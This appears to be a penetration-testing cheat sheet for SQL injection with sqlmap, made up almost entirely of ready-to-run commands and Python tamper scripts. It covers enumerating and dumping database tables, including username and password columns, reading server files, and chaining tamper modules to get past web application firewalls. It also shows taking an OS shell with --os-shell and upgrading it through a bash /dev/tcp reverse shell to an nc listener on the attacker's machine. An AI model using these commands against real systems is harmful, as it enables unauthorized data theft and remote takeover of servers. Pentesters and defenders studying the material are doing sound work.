# SQL Injection with Sqlmap

## &#x20;<a href="#sql-injection-with-sqlmap" id="sql-injection-with-sqlmap"></a>

SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.

### Basic Usage <a href="#basic-usage" id="basic-usage"></a>

```
# GET request
sqlmap -u "http://<target-ip>/?search=test"
```

#### Using Burp Suite Request File <a href="#using-burp-suite-request-file" id="using-burp-suite-request-file"></a>

We can specify a request file which is downloaded from **Burp Suite**.\
In Burp Suite, right-click on the HTTP request header screen, then click **Save Item** to download the request file. We can use it with SQLmap. Add the **"-r"** flag as below.

```
sqlmap -r request.txt
```

In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the **`--proxy`** flag.

```
# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080
```

### Cheat Sheet <a href="#cheat-sheet" id="cheat-sheet"></a>

#### Basic <a href="#basic" id="basic"></a>

```
sqlmap -u "https://example.com/?q=test"

# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q

# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"

# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"

# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch

# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-ssl
```

#### Specify DBMS (Database Management System) <a href="#specify-dbms-database-management-system" id="specify-dbms-database-management-system"></a>

We can specify DBMS such as **`mysql`, `postgres`, `sqlite`** to avoid unnecessary attempts.

```
sqlmap -u "https://example.com/?q=test" --dbms mysql
sqlmap -u "https://example.com/?q=test" --dbms postgres
sqlmap -u "https://example.com/?q=test" --dbms sqlite
```

#### Enumerations <a href="#enumerations" id="enumerations"></a>

```
# List databases
# --dbs: List databases
sqlmap -u "https://example.com/?q=test" --dbs

# List tables
# -D: Specific name of the database
# --table: List tables
sqlmap -u "https://example.com/?q=test" -D exampledb --tables

# List columns
# -T: Specific name of the table
# --columns: List columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users --columns

# Get each column value
# -C: Specific name of the column. We can specify single column or multiple columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username,password

# Get current user and database
sqlmap -u "https://example.com/?q=test" --current-user
sqlamp -u "https://example.com/?q=test" --current-db
```

#### Dump Entories <a href="#dump-entories" id="dump-entories"></a>

We can dump entories by adding **`--dump`** flag.

```
sqlmap -u "https://example.com/?q=test" --dump
# Specify dbms, database, table
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql -D exampledb -T users

# Dump all entories
sqlmap -u "https://example.com/?q=test" --dump-all
```

#### Risk/Level <a href="#risklevel" id="risklevel"></a>

We can specify the injection risk and level.

* **risk**

  Risk of tests to perform. Default is **1**. Max is **3**.
* **level**

  Level of tests to perform. Default is **1**. Max is **5**.

```
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql --risk 3 --level 5
```

#### Random Agent <a href="#random-agent" id="random-agent"></a>

```
sqlmap -u "https://example.com/?q=test" --random-agent
```

#### Fresh Queries <a href="#fresh-queries" id="fresh-queries"></a>

If the database is modified, we can refresh the states by adding **`--fresh-queries`**.

```
# --fresh-queries: new data in tables
sqlmap -u "https://example.com/?q=test" --fresh-queries
```

#### Injection Techniques <a href="#injection-techniques" id="injection-techniques"></a>

We can specify the injection technique to test by adding **`--technique`**.

```
# Union attack (U)
sqlmap -u "https://example.com/?q=test" --technique U
# --delay 2: Time delay
sqlmap -u "https://example.com/?q=test" --technique U --delay 2

# Time-based Blind SQLi (T)
sqlmap -u "https://example.com/?q=test" --technique T

# Boolean-based blind injection (B)
sqlmap -u "https://example.com/?q=test" --technique B
```

#### Sleep <a href="#sleep" id="sleep"></a>

We can sleep for each injection.

```
# --time-sec 2: Sleep 2 seconds.
sqlmap -u "https://example.com/?q=test" --time-sec 2
```

#### Ignore HTTP response code <a href="#ignore-http-response-code" id="ignore-http-response-code"></a>

We can ignore specific HTTP response (status) code.

```
# Ignore 401 (Unauthorized)
sqlmap -u "https://example.com/?q=test" --ignore-code 401

# Ignore 500 (Internal Server Error)
sqlmap -u "https://example.com/?q=test" --ignore-code 500
```

#### Drop Set-Cookie <a href="#drop-set-cookie" id="drop-set-cookie"></a>

We can drop **`Set-Cookie`** from HTTP response headers.

```
sqlmap -u "https://example.com/?q=test" --drop-set-cookie
```

### Second Order Attack <a href="#second-order-attack" id="second-order-attack"></a>

Reference: <https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap>

If the SQL injection affects another URL, we want to customize the second URL.

#### Method 1. Simply adding the second request <a href="#method-1-simply-adding-the-second-request" id="method-1-simply-adding-the-second-request"></a>

We can add **`second-url`** or **`second-req`** flag in **`sqlmap`** command.\
Note that each request file (e.g. `req1.txt`, `req2.txt`) is downloaded by clicking **"save item"** in each request in BurpSuite.

```
# -p: Specify the parameter where payload will be put
sqlmap -u "https://example.com/profile/change" -p email  --second-url "https://example.com/dashboard"
sqlmap -r req1.txt -p email --second-req req2.txt
```

#### Method 2. Tampering <a href="#method-2-tampering" id="method-2-tampering"></a>

If we could not achieve with the method 1, it’s worth to create a tamper function.\
For example, create **`tamper.py`** with the content below.

```
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def change_profile(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"ExampleToken": "abcdef...xyz"}

    params = {"username":"tester", "email":payload}
    url = "https://example.com/profile/change"
    req = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
        # If we need to send json param, use `json` attribute instead of `data`.

    url = "https://example.com/dashboard"
    req = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    change_profile(payload)
    return payload
```

By setting the proxy to **`http://127.0.0.1:8080`**, we can see the requests and the responses in BurpSuite.\
After creating, run sqlmap as below.

```
# Create this file in current directory to avoid error when running sqlmap with tamper
touch __init__.py

sqlmap --tamper tamper.py -r req1.txt -p email --second-req req2.txt --proxy http://127.0.0.1:8080
```

### Integrate with Other Commands <a href="#integrate-with-other-commands" id="integrate-with-other-commands"></a>

We can set a dynamic value to the parameter by including another command such as `curl` as follow:

```
sqlmap -u """https://example.com/?q=test&token=`curl https://api.example.com/auth -X POST -d "username=admin&password=admin" | awk -F '"' '{print$12}'`"""
```

### Web Shell <a href="#web-shell" id="web-shell"></a>

Add option "--os-shell" to interact with web shell.

```
sqlmap -u "http://<target-ip>" --cookie="value=*" --os-shell
```

After activating, you may want to upgrade to the full functional shell.\
You can do that using reverse shell.

In your local machine,

```
nc -lvnp 4444
```

Then execute the following command in web shell.

```
os-shell> bash -c 'bash -i >& /dev/tcp/<your-local-ip>/4444 0>&1'
```

### Read Files <a href="#read-files" id="read-files"></a>

```
# --batch: never ask for user input, use the default behavior
sqlmap -r request.txt --file-read "/var/www/html/index.php" --time-sec 10 --batch
sqlmap -r request.txt --file-read "/var/www/<subdomain>/index.php" --time-sec 10 --batch

sqlmap -u "http://<target-ip>/?q=test" --file-read "var/www/html/index.php" --time-sec 10 --batch
```

### Tampering <a href="#tampering" id="tampering"></a>

The sqlmap can be tampered by custom python script e.g. tamper.py or the default library.\
To list all tampers, run the following command.

```
sqlmap --list-tampers
```

#### WAF (Web Application Firewall) Bypass <a href="#waf-web-application-firewall-bypass" id="waf-web-application-firewall-bypass"></a>

[This post](https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3) explains details for what each module works.

```
# General
sqlmap -r request.txt --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,escapequotes,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MSSQL
sqlmap -r request.txt --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

# MySQL
sqlamp -r request.txt --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
```

#### Custom tamper modules (Base64 encode) <a href="#custom-tamper-modules-base64-encode" id="custom-tamper-modules-base64-encode"></a>

We can also create our custom modules.\
For instance, we create "tamper.py".

```
#!/usr/bin/python3
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = encodeBase64("%s" % payload, binary=False)
    return payload
```

Then execute sqlmap.

```
# The tamper is a module, so we need to create __init__.py in the current directory.
touch __init__.py
sqlmap -u "https://example.com/" --cookie "session=*" --tamper=tamper.py
```

#### Multiple Requests <a href="#multiple-requests" id="multiple-requests"></a>

```
#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

address = "http://vulnerable.com"
password = "test"

def dependencies():
    pass

def create_account(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/signup", data=data)

def login(payload):
    with requests.Session() as s:
        data = {"username": payload, "password": password}
        resp = s.post(f"{address}/login", data=data)
        sessid = s.cookies.get("session", None)
    return "session={}".format(sessid)


def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    create_account(payload)
    headers["Cookie"] = login(payload)
    return payload
```

Then run the sqlmap with the tamper option.

```
sqlmap --tamper tamper.py --url http://vulnerable.com/signup --data "username=admin&password=test" --second-url "http://vulnerable.com/post" --no-cast
```
